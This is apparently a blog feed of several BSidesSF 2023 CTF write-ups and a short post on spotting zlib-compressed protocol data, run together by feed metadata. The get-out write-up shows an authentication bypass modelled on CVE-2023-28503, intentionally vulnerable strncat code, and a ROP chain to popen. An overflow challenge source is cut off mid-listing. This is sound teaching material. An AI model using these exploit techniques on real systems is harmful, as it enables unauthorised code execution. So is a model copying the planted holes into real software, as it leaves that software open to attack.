<p>After seeing that exception, I realized that, what I <em>should</em> have done, was write the response to a file:</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">File</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="s2">"/tmp/test"</span><span class="p">,</span> <span class="n">encrypted</span><span class="p">)</span>
</code></pre></div></div>
<p>Then use the Linux <code class="language-plaintext highlighter-rouge">file</code> command to tell me what the message actually was:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ hexdump -C /tmp/test | head -n3
00000000 78 9c ed 9c 07 78 14 d5 da c7 4f 68 4a a4 08 2a |x....x....OhJ..*|
00000010 8a 08 ac 41 ba 09 09 04 08 a1 98 0e 01 52 c8 86 |...A.........R..|
00000020 be 10 36 9b dd 64 c9 6e 36 6c 09 04 01 47 34 08 |..6..d.n6l...G4.|
$ file /tmp/test
/tmp/test: zlib compressed data
</code></pre></div></div>
<p>Zlib! It’s compressed, not encrypted! D’oh!! I did a bit of reading, and realized that 0x78 (or “x”) is the most character for a Zlib-compressed string to begin with, so that’s something to remember!</p>
<p>Once you know it’s Zlib, you can decompress it with a variety of tools, including <code class="language-plaintext highlighter-rouge">openssl</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ openssl zlib -d < /tmp/test | hexdump -C | head -n4
00000000 07 88 00 00 0c 00 00 00 53 4c 53 54 08 00 00 00 |........SLST....|
00000010 01 00 00 00 ef 87 00 00 d9 ff ff ff 43 00 3a 00 |............C.:.|
00000020 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 |\.P.r.o.g.r.a.m.|
00000030 44 00 61 00 74 00 61 00 5c 00 61 00 62 00 63 00 |D.a.t.a.\.a.b.c.|
[...]
</code></pre></div></div>
<p>As you can see, it’s now plaintext - it was never encrypted at all! Just compressed! The worst part is, this isn’t even close to the first time I’ve run into this situation - I just got excited and wasn’t thinking!</p>
<p>In the end, it turned out to be a big blob of settings - nothing exciting. Presumably, they wanted to save some bandwidth. Or maybe, they knew that, some day, they’d waste my time - who knows?</p>
<h2 id="conclusion">Conclusion</h2>
<p>When faced with an unknown data type, try the <code class="language-plaintext highlighter-rouge">file</code> command - it’s identified <code class="language-plaintext highlighter-rouge">gzip</code>, <code class="language-plaintext highlighter-rouge">bzip2</code>, <code class="language-plaintext highlighter-rouge">zlib</code>, and other stuff for me. It can save you a whole lot of trouble!</p>ronLately, I’ve been reverse engineering a reasonably complex network protocol, and I ran into a mystery - while the protocol is generally an unencrypted binary protocol, one of the messages was large and random. In an otherwise unencrypted protocol, why is one of the messages unreadable? It took me a few hours to accomplish what should have been a couple minutes of effort, and I wanted to share the trick I ultimately used! I’m going to be intentionally vague on the software, and even modify a few things to make it harder to identify; I’ll probably publish a lot more on my work blog once I’m finished this project!BSidesSF 2023 Writeups: Flat White (simpler Java reversing)2023-04-24T00:08:44+00:002023-04-24T00:08:44+00:00https://www.skullsecurity.org/2023/bsidessf-2023-writeups-flat-white<p>This is a write-up for <a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/flat-white"><code class="language-plaintext highlighter-rouge">flat-white</code></a>
and <a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/flat-white-extra-shot"><code class="language-plaintext highlighter-rouge">flat-white-extra-shot</code></a>,
which are easier Java reverse engineering challenges.</p>
<!--more-->
<h2 id="writeup">Writeup</h2>
<p>Back in February when I worked on
<a href="https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis">CVE-2023-0669</a>,
I had to learn a bunch of Java stuff quickly! The vulnerability is basically a
Java object that’s serialized and encrypted with a static key. I’m actually
writing this challenge and CTF write-up on February 8, 2023, only a couple days
after the AttackerKB write-up of the vulnerability. Now that’s a pipeline!</p>
<p>In order to reverse engineer the encryption code, I wanted to make sure I was
getting the correct values and found myself trying to call a variety of
functions in their .jar files, some of which were protected or private. I’d
never done that before, so I had to learn how! And it seemed like a useful
skill to pass on to others, hence this challenge.</p>
<p>It turns out, it’s super simple. If it’s a public function in a .jar file, you
can just call the function from your code:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">Solve</span>
<span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="n">org</span><span class="o">.</span><span class="na">bsidessf</span><span class="o">.</span><span class="na">ctf</span><span class="o">.</span><span class="na">Flag</span><span class="o">.</span><span class="na">printFlag</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>And then include the .jar file in your classpath when you compile:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ javac -cp '.:FlatWhite.jar' Solve.java
$ java -cp '.:FlatWhite.jar' Solve
CTF{java-java-everywhere}
</code></pre></div></div>
<p>If it’s a private function, which is what <code class="language-plaintext highlighter-rouge">flat-white-extra-shot</code> uses, it’s a
bit more complex. Instead of just calling the function, you have to use
reflection:</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">java.lang.reflect.Method</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Solve</span>
<span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="nc">Method</span> <span class="n">method</span> <span class="o">=</span> <span class="n">org</span><span class="o">.</span><span class="na">bsidessf</span><span class="o">.</span><span class="na">ctf</span><span class="o">.</span><span class="na">Flag</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getDeclaredMethod</span><span class="o">(</span><span class="s">"printFlag"</span><span class="o">);</span>
<span class="n">method</span><span class="o">.</span><span class="na">setAccessible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
<span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="kc">null</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Then you can compile and run it the same way:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ javac -cp '.:FlatWhiteExtraShot.jar' Solve.java
$ java -cp '.:FlatWhiteExtraShot.jar' Solve
CTF{stronger-java-everywhere}
</code></pre></div></div>
<p>And by the way, the reason for the name, besides being a type of coffee drink
and thematically fitting in with the Java idea, is because my co-creator
<a href="https://systemoverlord.com/">Matir</a> ordered one at a recent meetup and I
didn’t know what it was. So this is to honor him and his great taste in drinks!</p>ronThis is a write-up for flat-white and flat-white-extra-shot, which are easier Java reverse engineering challenges.BSidesSF 2023 Writeups: Get Out (difficult reverse engineering + exploitation)2023-04-24T00:08:44+00:002023-04-24T00:08:44+00:00https://www.skullsecurity.org/2023/bsidessf-2023-writeups-get-out<p>This is a write-up for three challenges:</p>
<ul>
<li><a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/getout1-warmup"><code class="language-plaintext highlighter-rouge">getout1-warmup</code></a></li>
<li><a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/getout2-gettoken"><code class="language-plaintext highlighter-rouge">getout2-gettoken</code></a></li>
<li><a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/getout3-apply"><code class="language-plaintext highlighter-rouge">getout3-apply</code></a></li>
</ul>
<p>They are somewhat difficult challenges where the player reverses a network
protocol, finds an authentication bypass, and performs a stack overflow to
ultimately get code execution. It also has a bit of thematic / story to it!
<!--more--></p>
<h2 id="writeup">Writeup</h2>
<p><code class="language-plaintext highlighter-rouge">Getout</code> is based on a
<a href="https://www.rapid7.com/blog/post/2023/03/29/multiple-vulnerabilities-in-rocket-software-unirpc-server-fixed/">research project</a>
I did over the winter on Rocket Software’s UniData application. UniData (and
other software they make) comes with a server called UniRPC, which functions
very similarly to <code class="language-plaintext highlighter-rouge">getoutrpc</code>.</p>
<p>My intention for the three parts of <code class="language-plaintext highlighter-rouge">getout</code> are:</p>
<ul>
<li>Solving <code class="language-plaintext highlighter-rouge">getout1-warmup</code> requires understanding how the RPC protocol works,
which, as I said, is very similar to UniRPC</li>
<li>In <code class="language-plaintext highlighter-rouge">getout2-gettoken</code>, I emulated <a href="https://github.com/rbowes-r7/libneptune/blob/main/udadmin_authbypass_oscommand.rb">CVE-2023-28503</a> as best I could</li>
<li>In <code class="language-plaintext highlighter-rouge">getout3-apply</code>, I emulated <a href="https://github.com/rbowes-r7/libneptune/blob/main/udadmin_stackoverflow_password.rb">CVE-2023-28502</a> but made it much, much harder to exploit</li>
</ul>
<p>Let’s take a look at each!</p>
<h3 id="getout1-warmup"><code class="language-plaintext highlighter-rouge">getout1-warmup</code></h3>
<p>The warmup is largely about reverse engineering enough of the protocol to
implement it. You can find <code class="language-plaintext highlighter-rouge">libgetout.rb</code> in my solution, but the summary is
that:</p>
<ul>
<li>You connect to the RPC service</li>
<li>You send messages to the server, which are basically just a header, then a
body comprised of a series of packed fields (integers, strings, etc)</li>
<li>The first message starts with an integer opcode:
<ul>
<li>Opcode 0 = “list services”</li>
<li>Opcode 1 = “execute a service”</li>
</ul>
</li>
<li>Once a service is executed, a different binary takes over, which implements
its own sub-protocol (though the packet formats are the same)</li>
</ul>
<p>For <code class="language-plaintext highlighter-rouge">getout1-warmup</code>, you just have to connect to the service and it immediately
sends you the flag. On the server, it looks like:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">s</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="n">packet_body_t</span> <span class="o">*</span><span class="n">response</span> <span class="o">=</span> <span class="n">packet_body_create_empty</span><span class="p">();</span>
<span class="n">packet_body_add_int</span><span class="p">(</span><span class="n">response</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">packet_body_add_file</span><span class="p">(</span><span class="n">response</span><span class="p">,</span> <span class="n">FLAG_FILE</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">packet_body_add_file</span><span class="p">(</span><span class="n">response</span><span class="p">,</span> <span class="n">NARRATIVE_FILE</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">packet_body_send</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="n">response</span><span class="p">);</span>
<span class="n">packet_body_destroy</span><span class="p">(</span><span class="n">response</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>And on the client, here’s the code:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">begin</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">connect</span><span class="p">(</span><span class="o">*</span><span class="n">get_host_port</span><span class="p">())</span>
<span class="n">flag</span><span class="p">,</span> <span class="n">narrative</span> <span class="o">=</span> <span class="n">use</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="s1">'ping'</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">"Fetched narrative: </span><span class="si">#{</span> <span class="n">narrative</span> <span class="si">}</span><span class="s2">"</span>
<span class="n">check_flag</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="ss">terminate: </span><span class="kp">true</span><span class="p">)</span>
<span class="nb">exit</span> <span class="mi">0</span>
<span class="k">ensure</span>
<span class="n">s</span><span class="p">.</span><span class="nf">close</span> <span class="k">if</span> <span class="n">s</span>
<span class="k">end</span>
</code></pre></div></div>
<p>And running my solution:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ruby ./solve.rb
Loading checker...
--------
Challenge name: getout1-warmup
Expected flag: CTF{your-client-seems-to-be-working} ("4354467b796f75722d636c69656e742d7365656d732d746f2d62652d776f726b696e677d")
Using TCP host/port: getout1-warmup-e6a12797.challenges.bsidessf.net:1337
--------
Connected to RPC service! RPC services available:
* ping
* gettoken
* apply
Fetched narrative: Welcome to The Program, human! Your copy of Get Out Solutions seems to be working. Standby for further instructions!
Fetched flag: CTF{your-client-seems-to-be-working} ("4354467b796f75722d636c69656e742d7365656d732d746f2d62652d776f726b696e677d")
Looks good!
</code></pre></div></div>
<h3 id="getout2-gettoken"><code class="language-plaintext highlighter-rouge">getout2-gettoken</code></h3>
<p>As I already mentioned, this is designed to emulate CVE-2023-28503, which is
an authentication bypass vulnerability in Rocket Software’s UniData software.
In the original vulnerability, the username <code class="language-plaintext highlighter-rouge">:local:</code> had a predictable
password; specifically, the password for <code class="language-plaintext highlighter-rouge">:local:</code> was always
<code class="language-plaintext highlighter-rouge"><username>:<uid>:<gid></code>, where <code class="language-plaintext highlighter-rouge">username</code> is a username on the system, <code class="language-plaintext highlighter-rouge">uid</code>
is the associated user id, and <code class="language-plaintext highlighter-rouge">gid</code> is a non-zero value.</p>
<p>I implemented a very similar function for <code class="language-plaintext highlighter-rouge">getout2-gettoken</code>, which looks like:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="s">":testuser:"</span><span class="p">))</span> <span class="p">{</span>
<span class="c1">// Test user</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">uid</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="sc">':'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">uid</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">uid</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">uid</span><span class="o">++</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">gid</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">uid</span><span class="p">,</span> <span class="sc">':'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">gid</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">gid</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">gid</span><span class="o">++</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">passwd</span> <span class="o">*</span><span class="n">userinfo</span> <span class="o">=</span> <span class="n">getpwnam</span><span class="p">(</span><span class="n">password</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">userinfo</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">userinfo</span><span class="o">-></span><span class="n">pw_uid</span> <span class="o">!=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">uid</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">atoi</span><span class="p">(</span><span class="n">gid</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>
<p>So basically, the username is <code class="language-plaintext highlighter-rouge">:testuser:</code>, but otherwise the bypassable login
is identical to CVE-2023-28503.</p>
<h3 id="getout3-apply"><code class="language-plaintext highlighter-rouge">getout3-apply</code></h3>
<p>The final part of this challenge was designed to be similar to CVE-2023-28502,
but I decided to make it a bit harder.</p>
<p>The core issue is using <code class="language-plaintext highlighter-rouge">strncat</code> multiple times with the same buffer size, to
concatenate multiple arguments:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">strncat</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="n">body</span><span class="o">-></span><span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">value</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="n">REGISTER_BUFFER_SIZE</span><span class="p">);</span>
<span class="n">strncat</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="n">body</span><span class="o">-></span><span class="n">args</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="n">value</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="n">REGISTER_BUFFER_SIZE</span><span class="p">);</span>
<span class="n">strncat</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="n">body</span><span class="o">-></span><span class="n">args</span><span class="p">[</span><span class="mi">3</span><span class="p">].</span><span class="n">value</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="n">REGISTER_BUFFER_SIZE</span><span class="p">);</span>
<span class="n">strncat</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="n">body</span><span class="o">-></span><span class="n">args</span><span class="p">[</span><span class="mi">4</span><span class="p">].</span><span class="n">value</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="n">REGISTER_BUFFER_SIZE</span><span class="p">);</span>
<span class="n">strncat</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="n">body</span><span class="o">-></span><span class="n">args</span><span class="p">[</span><span class="mi">5</span><span class="p">].</span><span class="n">value</span><span class="p">.</span><span class="n">s</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="n">REGISTER_BUFFER_SIZE</span><span class="p">);</span>
<span class="n">strncat</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="n">uuid</span><span class="p">,</span> <span class="n">REGISTER_BUFFER_SIZE</span><span class="p">);</span>
</code></pre></div></div>
<p>The problem is that <code class="language-plaintext highlighter-rouge">strncat</code> terminates on a NUL byte, and we want to return
to an address to call <code class="language-plaintext highlighter-rouge">popen</code>! Luckily, immediately after calling the <code class="language-plaintext highlighter-rouge">strncat</code>
functions, the message is encrypted:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">size_t</span> <span class="n">length</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">((</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">buffer</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">send_simple_binary_response</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint8_t</span><span class="o">*</span><span class="p">)</span><span class="n">buffer</span><span class="p">,</span> <span class="n">length</span><span class="p">);</span>
</code></pre></div></div>
<p>The key/IV for the encryption algorithm are hardcoded into the binary, which
means we can predict the output of the encrypted block.</p>
<p>To write an exploit, we build a ROP stack containing all the NUL bytes we want:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">puts</span> <span class="s2">"* Generating a ROP Chain..."</span>
<span class="no">ROP</span> <span class="o">=</span> <span class="p">[</span>
<span class="no">POP_EDI_RET</span><span class="p">,</span>
<span class="no">CMD_ADDRESS</span><span class="p">,</span>
<span class="no">POP_ESI_POP_R15_RET</span><span class="p">,</span>
<span class="no">R_ADDRESS</span><span class="p">,</span>
<span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="o">..</span><span class="mh">0xffffffffffffffff</span><span class="p">),</span>
<span class="no">POPEN_ADDRESS</span><span class="p">,</span>
<span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="o">..</span><span class="mh">0xffffffffffffffff</span><span class="p">),</span>
<span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'QQQQQQQ'</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">" => </span><span class="si">#{</span> <span class="no">ROP</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)</span> <span class="si">}</span><span class="s2">"</span>
<span class="nb">puts</span>
</code></pre></div></div>
<p>Then we <em>decrypt</em> the payload, which means it’ll <em>encrypt</em> to our ROP string:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">puts</span> <span class="s2">"* Encrypting the ROP chain with padding..."</span>
<span class="n">encrypted_payload</span> <span class="o">=</span> <span class="n">get_encrypted_string</span><span class="p">(</span><span class="no">RETURN_OFFSET</span><span class="p">,</span> <span class="n">rop</span><span class="p">)</span>
<span class="nb">puts</span> <span class="s2">" => </span><span class="si">#{</span> <span class="n">encrypted_payload</span><span class="p">.</span><span class="nf">unpack</span><span class="p">(</span><span class="s1">'H*'</span><span class="p">)</span> <span class="si">}</span><span class="s2">"</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">get_encrypted_string</code> function is where we <em>decrypt</em> the payload:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">def</span> <span class="nf">get_encrypted_string</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
<span class="n">padding</span> <span class="o">=</span> <span class="mh">0x41</span><span class="p">.</span><span class="nf">chr</span> <span class="o">*</span> <span class="n">offset</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="no">OpenSSL</span><span class="o">::</span><span class="no">Cipher</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'AES-128-CBC'</span><span class="p">)</span>
<span class="n">cipher</span><span class="p">.</span><span class="nf">decrypt</span>
<span class="n">cipher</span><span class="p">.</span><span class="nf">padding</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">cipher</span><span class="p">.</span><span class="nf">key</span> <span class="o">=</span> <span class="no">KEY</span>
<span class="n">cipher</span><span class="p">.</span><span class="nf">iv</span> <span class="o">=</span> <span class="no">IV</span>
<span class="n">str</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">data</span>
<span class="k">while</span><span class="p">(</span><span class="n">str</span><span class="p">.</span><span class="nf">length</span> <span class="o">%</span> <span class="mi">16</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">str</span><span class="p">.</span><span class="nf">concat</span><span class="p">(</span><span class="s2">"</span><span class="se">\0</span><span class="s2">"</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="n">str</span><span class="p">)</span> <span class="o">+</span> <span class="n">cipher</span><span class="p">.</span><span class="nf">final</span><span class="p">()</span>
<span class="k">end</span>
</code></pre></div></div>
<p>If the <em>encrypted</em> string has a NUL byte, we try again until it doesn’t.</p>
<p>The final thing is, we have access to <code class="language-plaintext highlighter-rouge">popen</code>, but we need a command string with
an associated address! We actually take advantage of a type-confusion bug in
the binary that leads to a memory leak in order to get known text at a known
address.</p>
<p>When getting the user’s opcode from a packet, instead of using a convenience
function like <code class="language-plaintext highlighter-rouge">packet_read_int_arg</code>, we instead access the union directly:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">uint64_t</span> <span class="n">opcode</span> <span class="o">=</span> <span class="n">body</span><span class="o">-></span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">value</span><span class="p">.</span><span class="n">i</span><span class="p">.</span><span class="n">value</span><span class="p">;</span>
</code></pre></div></div>
<p>If that argument happens to be the string type, it winds up being the address
of the string:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">uint64_t</span> <span class="n">value</span><span class="p">;</span>
<span class="p">}</span> <span class="n">arg_int_t</span><span class="p">;</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">value</span><span class="p">;</span>
<span class="p">}</span> <span class="n">arg_string_t</span><span class="p">;</span>
<span class="c1">// [...]</span>
<span class="k">typedef</span> <span class="k">union</span> <span class="p">{</span>
<span class="n">arg_int_t</span> <span class="n">i</span><span class="p">;</span>
<span class="n">arg_string_t</span> <span class="n">s</span><span class="p">;</span>
<span class="c1">// [...]</span>
<span class="p">}</span> <span class="n">arg_t</span><span class="p">;</span>
</code></pre></div></div>
<p>Then when it’s displayed, we get the string’s address:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">send_simple_response</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">ERROR_UNKNOWN_OPCODE</span><span class="p">,</span> <span class="s">"Unknown opcode: %ld"</span><span class="p">,</span> <span class="n">opcode</span><span class="p">);</span>
</code></pre></div></div>
<p>So basically, our exploit is:</p>
<ul>
<li>Use the type confusion on unknown opcodes to get an address to a payload string</li>
<li>Generate a ROP stack that concludes with a call to <code class="language-plaintext highlighter-rouge">popen</code></li>
<li><em>Decrypt</em> the ROP stack so that it’ll later <em>encrypt</em> to the real ROP stack</li>
<li>Send the whole ROP stack spread across multiple <code class="language-plaintext highlighter-rouge">strncat</code> fields</li>
<li>Profit!</li>
</ul>ronThis is a write-up for three challenges: getout1-warmup getout2-gettoken getout3-apply They are somewhat difficult challenges where the player reverses a network protocol, finds an authentication bypass, and performs a stack overflow to ultimately get code execution. It also has a bit of thematic / story to it!BSidesSF 2023 Writeups: id-me (easy file identification challenge)2023-04-24T00:08:44+00:002023-04-24T00:08:44+00:00https://www.skullsecurity.org/2023/bsidessf-2023-writeups-id-me<p><a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/id-me"><code class="language-plaintext highlighter-rouge">id-me</code></a> is a
challenge I wrote to teach people how to determine file types without extensions.
My intent was to use the <code class="language-plaintext highlighter-rouge">file</code> command, but other solutions are absolutely
possible!</p>
<!--more-->
<h2 id="write-up">Write-up</h2>
<p>I designed <code class="language-plaintext highlighter-rouge">id-me</code> to be a fairly straight forward “identify this file”
challenge. The user is given four files, and they are tasked with reading part
of the flag from each of them.</p>
<p>I’d personally use the <code class="language-plaintext highlighter-rouge">file</code> command on Linux:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file *
file1: ASCII text
file2: JPEG image data [...]
file3: PDF document, version 1.4
file4: Zip archive data, at least v2.0 to extract, compression method=deflate
</code></pre></div></div>
<p>But lots of other ways exist, including simply opening them in the Chrome
browser.</p>ronid-me is a challenge I wrote to teach people how to determine file types without extensions. My intent was to use the file command, but other solutions are absolutely possible!BSidesSF 2023 Writeups: overflow (simple stack-overflow challenge)2023-04-24T00:08:44+00:002023-04-24T00:08:44+00:00https://www.skullsecurity.org/2023/bsidessf-2023-writeups-overflow<p>Overflow is a straight-forward buffer overflow challenge that I copied from
the Hacking: Art of Exploitation <a href="https://github.com/intere/hacking">examples CD</a>.
I just added a flag. Full source is <a href="https://github.com/BSidesSF/ctf-2023-release/tree/main/overflow">here</a>.</p>
<!--more-->
<h2 id="write-up">Write-up</h2>
<p>The source and binary are available, so the user can examine them. But they’re
also fairly simple:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">value</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">buffer_one</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="n">buffer_two</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer_one</span><span class="p">,</span> <span class="s">"one"</span><span class="p">);</span> <span class="cm">/* put "one" into buffer_one */</span>
<span class="n">strcpy</span><span class="p">(</span><span class="n">buffer_two</span><span class="p">,</span> <span class="s">"two"</span><span class="p">);</span> <span class="cm">/* put "two" into buffer_two */</span>
